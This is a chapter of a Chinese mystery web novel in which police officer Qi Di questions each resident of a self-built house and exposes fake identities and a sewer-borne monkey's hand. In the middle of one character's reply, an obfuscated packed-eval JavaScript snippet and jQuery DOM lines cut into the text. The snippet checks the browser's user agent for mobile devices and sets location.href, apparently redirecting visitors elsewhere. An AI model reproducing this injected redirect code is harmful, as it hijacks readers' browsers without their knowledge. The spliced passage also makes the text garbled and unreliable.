开阔的一楼客厅里，不一会就聚集齐了自建楼的所有住户。


    “蔡岛嘉出去了？”戚迪问。


    “他昨天就退租了。”何阿婆说。


    “退租？为什么？”


    “不知道。”何阿婆硬邦邦地说，“他不在还用查吗？我们只有一个租户了，查她的不就完了？”


    客厅里闷热得发钝，老吊扇吱吱地转，吹不散八月的暑热。光从窗纱里筛进来，落在地面，像被撕碎的信笺。在短暂的沉默后，戚迪的视线扫向在场的其他人：“……从年纪最大的人开始登记，其他人先到院子里等。”


    “为什么要单独登记？”何阿公的眉头堆叠起来，他停顿片刻，“是出了什么事吗，戚警官？”


    “一是为了信息准确，二是为了保护个人隐私。”戚迪无视了众人脸上显而易见的抗拒，自顾自地在长餐桌上坐了下来，摊开一个干净的登记簿，“何阿公留下，梁芸，你带其他人去院子里等。”


    徐朝颜一开始没料到戚迪会进屋，现在正站在黑色行李箱前，试图用屁股把箱子不知不觉地推进厨房。直到梁芸冷静的目光落在她身上，她不得不干笑一下，放弃了行李箱，跟着其他人一起走向前院。


    “坐吧。”戚迪朝眼前的何阿公抬了抬下巴示意，“我们都是老熟人了，用不着紧张。”


    “我没有紧张，只是想不到，在上班时间喜欢‘巡逻’到公园和老人们下象棋的你，会是坐在这里‘流动人口清查’的人。”何阿公笑了笑，拉开磨得光滑发亮的木椅，在戚迪对面坐下。


    “我哪天不在路上？下棋的是幌子，看人、记脸、听风声才是活儿。”戚迪撕下一张空白的登记簿递给他，“把你的身份证给我看看，再把表填上。”


    何阿公从唐装口袋里摸出一张身份证，从桌上推了过去，然后拿起桌上的水性笔填表。戚迪冷眼看着，他写出来的身份证号码，和证上分毫不差，照片也对得上。


    “你们搬来也有两年了吧？”戚迪问。


    “还不到两年，快了。”


    “那箱子是谁的？出远门啊？”


    何阿公戴上笔帽，微笑着将表格推给戚迪：“填好了，你看看。”


    戚迪接过表格，随手抖了一下，目光依然盯在何阿公脸上：“说起来，之前的猴手，知道是谁放的了吗？”


    “还是不知道啊，不过幸好，后来也没有其他的事发生。”何阿公笑着说，“就像警官你说的一样，也许是对我们家不满的人的恶作剧吧。”


    “恶作剧？”


    戚迪笑了笑，但那笑意并未到达眼底。他看着何阿公表格上的出生日期：


    “何志国，你是□□前的最后一批大学生。就算你的妻子不懂法，你也应该懂吧？知法犯法，比不知而犯，在法律上要恶劣百倍。”


    何阿公脸上的微笑没有丝毫变化：“我不知道你在说什么。”


    “你和我都心知肚明，那只猴手究竟来自哪里。”戚迪望着他的眼睛，一字一顿道。


    当昨夜产生那个惊人的念头后，猴手事件立马浮现在戚迪的脑海。


    那真的只是个恶作剧吗？


    他马不停蹄地赶回八里村派出所，冲到档案室值班人员的面前：“之前有个猴手放在这儿，你们转移了没有？”


    “第二天就转移了啊。”值班人员无辜地看着他。


    “靠。”


    他也顾不上解释，转身就往外跑。坐上那辆老旧但皮实的巡逻车，他冒着夜色来到市局技术处，要求对猕猴前肢再次进行检验。当晚值班的法医恰好是他的熟人，在他的恳求下，加班加点给他做了第二次检测。


    “那只猴手，虽然表面覆盖着花盆土的石英砂和肥料晶点，但内层为污水生物膜，不但检测出了粪大肠菌群，还在甲隙里发现了厕纸纤维。”戚迪看着何阿公，缓缓说道，“这说明被埋在花盆之前，它应该在下水道里待过一段时间。然后我就想起了换锁那天你妻子说的话——”


    何阿婆喋喋不休的抱怨回响起来。


    “现在的房东不好做啊，戚警官，我跟你讲，那个蔡岛嘉就不用说了，没有少爷命偏有少爷命，天天换着法子给我提要求，嫌弃我做的饭不好吃，钱又不肯多给，上次还因为拉屎太硬把我三楼的厕所给堵了——”


    何阿公脸上的微笑渐渐淡去。


    “种种迹象表明，这只猴手应该最早出现在你们家的下水道里。于是我问了所里的水管工，问‘假如建筑内的下水道堵塞，管道里的垃圾能不能通过外部的管道偶然流入’，你知道他是怎么说的吗？”


    何阿公没有说话，戚迪也不在乎，继续说了下去。


    “他说不可能。”


    “下水系统的水流大多是由内向外，如果某个东西是在建筑支管里出现，那它只能是从建筑内丢进去，结果被卡住。”


    “所以，我猜这只猴手是被某个人塞进马桶，强行冲入下水管道造成了堵塞。这么大的东西，能勉强塞进管道就已经很不容易，更别提被冲太远。因此最初塞入猴手的地方，应该就是三楼的厕所。”


    “当初我以为这只猴手，是为了恐吓你们何家的其中一个，现在看来，它的目标一直很明确。”戚迪说，“就像你们一样。”


    “这栋楼里，到底在发生什么？”


    半晌的沉默后，何志国垂下了眼眸，那些深深的眼纹也跟着一起垂了下来，就像有人给心灵的窗户挂上了帘子。


    “我没什么好说的。”他说。


    蝉鸣阵阵，压倒了街道上的喧嚣。粗壮的槐树遮挡了大部分阳光，却抵不过还有热浪卷席而来。树下没有人说话。梁芸的存在让一切语言都变得无用。徐朝颜用脚尖碾着脚下的石头，神色不安，不时看向敞开的入户大门内的景象。朵朵在用树枝扒拉着树上一只蝉蜕，何序拉住她的手，低声说：“别弄了。”


    何阿婆只是沉默地站着，直到何阿公走了出来，两人的目光在明亮的阳光中相汇。


    “去吧。”梁芸说。


    何阿婆动了，趿拉着塑料拖鞋，一步步走进客厅。


    “坐吧。身份证，然后填表。”戚迪说。


    何阿婆甩出身份证，扯过表格，用歪歪扭扭的字写上了名字和身份证号码，然后勾了几个选项，把表格扔了回来。


    “其他的呢？”戚迪看了一眼表格。


    “看不懂。”何阿婆冷冷说，“小学没读完。”


    他从她身上感觉到强烈而尖锐的防备，就像视死如归的战士，已经准备好抱着炸药包和他一起毁灭。


    “那就先填这些吧。”戚迪说，“让下一个进来。”


    何阿婆愣了愣，难以置信的眼神瞪向戚迪，他低头装作看表格。片刻后，何阿婆怒气冲冲地站了起来，大步走向门外。


    下一个是夏禧。她杵着盲杖，慢慢拉开椅子坐下，对着斜对面的空气笑了笑。戚迪面无表情地看着她的表演。


    “把墨镜摘下来。”他说。


    夏禧脸上的笑容僵硬了。


    “需要我帮你摘吗？”戚迪再次说道。


    “……不用。”


    夏禧终于伸手取下了墨镜。那种刻意笨拙的伪装从她身上消失了，她摆正了身体，直视着戚迪。


    他早该发现的。


    “既然眼睛没问题，为什么要假装盲人？”


    “为了钱呗。”夏禧用轻松的口吻说，“人们总是愿意给卖唱的瞎子多点赏钱。”


    “你的孩子也是假的？”


    “是真的。”夏禧说，“只不过已经死了。”


    “……我会核实的。这栋楼里发生的事，你知道多少？”


    “我只是个租户，除了我房间里的事，我都不怎么清楚。你们警察还会管这种小事？”


    她的脸上没有表情，但眼神是讥诮的，带着一丝敌意。


    戚迪没有回答，只是挥了挥手：“下一个。”


    下一个是何序。


    他走了进来，平静地坐到戚迪对面。戚迪把表格递给他，索要身份证。


    何序拿出身份证，轻轻放到身前的桌面。戚迪看了他一眼，探出身拿走了证件。照片和他一模一样，但证件上的姓名一栏，却是写的“陈序”两个字。


    戚迪抬眼看向何序，后者也静静地看着他。


    “你不是何志国和何秀英的儿子？”


    “不是。”


    “那你怎么住在这里，对外宣称是他们的儿子？”


    “扶养失独老人犯法吗？”


    戚迪笑了。


    “扶养失独老人不犯法，但帮助失独老人犯法，也是犯法。”


    五分钟后，陈序走了出去，和被叫到名字的徐朝颜擦肩而过。徐朝颜停下脚步，将求助的目光投向陈序，他动了动嘴唇，目光瞥向不远处的梁芸，她锐利的目光定定地盯着两人。


    “……按你想说的去说吧。”他说，重新走向树下。


    徐朝颜忐忑不安地走进客厅。


    “坐。”戚迪笑道。


    她犹豫了一会才坐了下来。


    “你知道其他人都说了什么吗？”戚迪问。


    “我怎么会知道？”徐朝颜干笑两声。


    “你可以猜猜啊，多有意思不是。”戚迪说，“来吧，身份证拿出来，把表格填了。”


    徐朝颜慢吞吞地交出她的身份证，又拿着那张空白表格，眉头紧皱，逐字逐句地看着，仿佛里面藏着什么商业欺诈条款。


    “那行李箱是你的？”戚迪问。


    “不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785836|189544||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是。”徐朝颜飞快回答。


    “那你刚刚那么努力把它藏起来干嘛？”


    徐朝颜被问住了。


    “这么大个行李箱，要收拾东西远行啊？”


    “呃……回娘家看看。”


    “你老公叫什么名字？”


    她这次倒是答得飞快：“何序啊。”


    “你确定是何序，不是陈序？”戚迪问。


    她又闭紧了嘴唇。


    “你知道吗，我只要回到所里，把你的身份证号往电脑上一输，你是未婚还是已婚，马上就真相大白了。”戚迪冷笑道，“现在何序也已经变成了陈序，你确定还要继续当他的妻子？如果你明知有案件发生，却还是知情不报——这在法律上属于同伙。想清楚值不值得，徐朝颜。”


    戚迪紧紧盯着徐朝颜脸上的动摇，进一步加码道：


    “我知道这栋楼里有不寻常的事情正在发生。你收拾行李准备离开，应该也是想要悬崖勒马吧？你完全可以告诉我事情的真相，我们的谈话将会受到完全保密，我保证不会有第三个人知道你说了什么。”


    戚迪按上胸口的徽章。


    “我以我的身份发誓。”


    徐朝颜的脸色更苍白了，她的眼神不断飘向厨房门口的黑色行李箱。那里装的不止有她的行李，还有她提前收到的生日礼物，以及她自己都记不清楚的房租欠条。


    她已经走到这里了。


    她已经在泥泞里抱着膝盖哭了三年，哪怕要爬着往前走，她也想看看前方不一样的风景。


    “我……”她的神情在一瞬间变得坚定，“我是他的妻子，也是这家的儿媳。我们的心连在一起，不需要结婚证来证明。”


    戚迪久久地看着她，直到通过眼睛确定了她的决心。


    “下一个。”他说。


    最后一个是朵朵。她迈着轻快的脚步走了进来，不等戚迪说坐，就已经在他面前坐下。她看了看空荡荡的桌面，主动拉过另一头的茶壶，给他倒了一杯冷茶。


    “喝点水吧，警察哥哥。”她笑眯眯地说，丝毫没有其他人身上的压抑气氛。


    “身份证，然后填表。”


    “我才十二岁，还没有身份证呢。”朵朵笑着说。


    “那就让你妈妈拿户口本来。”


    她不慌不忙地说：“户口本在老家，不在这里。”


    戚迪郑重地看着她：


    “朵朵，你已经十二岁了，应该知道，你的户籍信息不仅户口本上有，你的学校里也有。你现在继续撒谎，不仅不能隐瞒你的身份信息，还会给你带来麻烦。我再问你一次，你的真名叫什么？”


    朵朵脸上的笑不见了，她认真地看着她，就像他盯着别人的眼睛窥视真相一样，也盯着他的眼睛不放。在这个十二岁的女孩身上，戚迪第一次感到被审视的压力。


    “……苗盼弟。”她终于说。


    他开始对她询问之前的“猴手”和“红外探测器”事件，但苗盼弟的回答不是“记不得了”，就是“我不知道”。她越是回避，越让戚迪肯定，她和那群成年人知道得一样多，甚至更多。


    “苗盼弟，你知不知道自己现在在做什么？你的所作所为，一个不慎就可能毁掉人生。”戚迪目不转睛地观察着她的神色变化。


    苗盼弟，十二岁，自建楼中年纪最小，也是最让戚迪一头雾水的角色。他想不明白，究竟是什么原因，才会让一个十二岁的小孩，搀和到这团错综复杂的事件中来。


    她抬起眼眸，漫不经心地看向他：“你怎么知道，我不是在重建呢？”


    “什么？”戚迪愣住了。


    “填表，我填好了。”苗盼弟把笔和表格一起还给他，没有留恋地站了起来，“我的暑假作业还没做完呢，我要回去做作业了。”


    所有谈话都结束了。但笼罩在这栋自建楼上的雾气并没有消散，反而更浓了。


    戚迪握着所有人的登记表格，坐在巡逻车副驾上，眨也不眨地看着。他确信自己已经找到了理清这团乱麻的正确线头，只要将这些人的身份证号码输入系统，尘封的过去就能向他昭示未来。


    梁芸安静地开着车，没有打断他的思路。


    自建楼里，戚迪写在空白登记表格上的个人联系号码静静地躺在长餐桌上。六个人神色各异地站在桌前。


    “都暴露了。”夏禧抱着手臂看向众人，“现在怎么办？”


    “戚警官说了，他愿意帮助我们。”何阿公叹了口气，“要不……”


    一只白皙的手拿走了桌上的电话号码，走进厨房，毫不犹豫地点燃燃气。蓝火中夹杂着橙色的火焰，转眼之间就吞噬了写有号码的纸张。


    “绝不。”


    朵朵转过身，坚定地望着众人。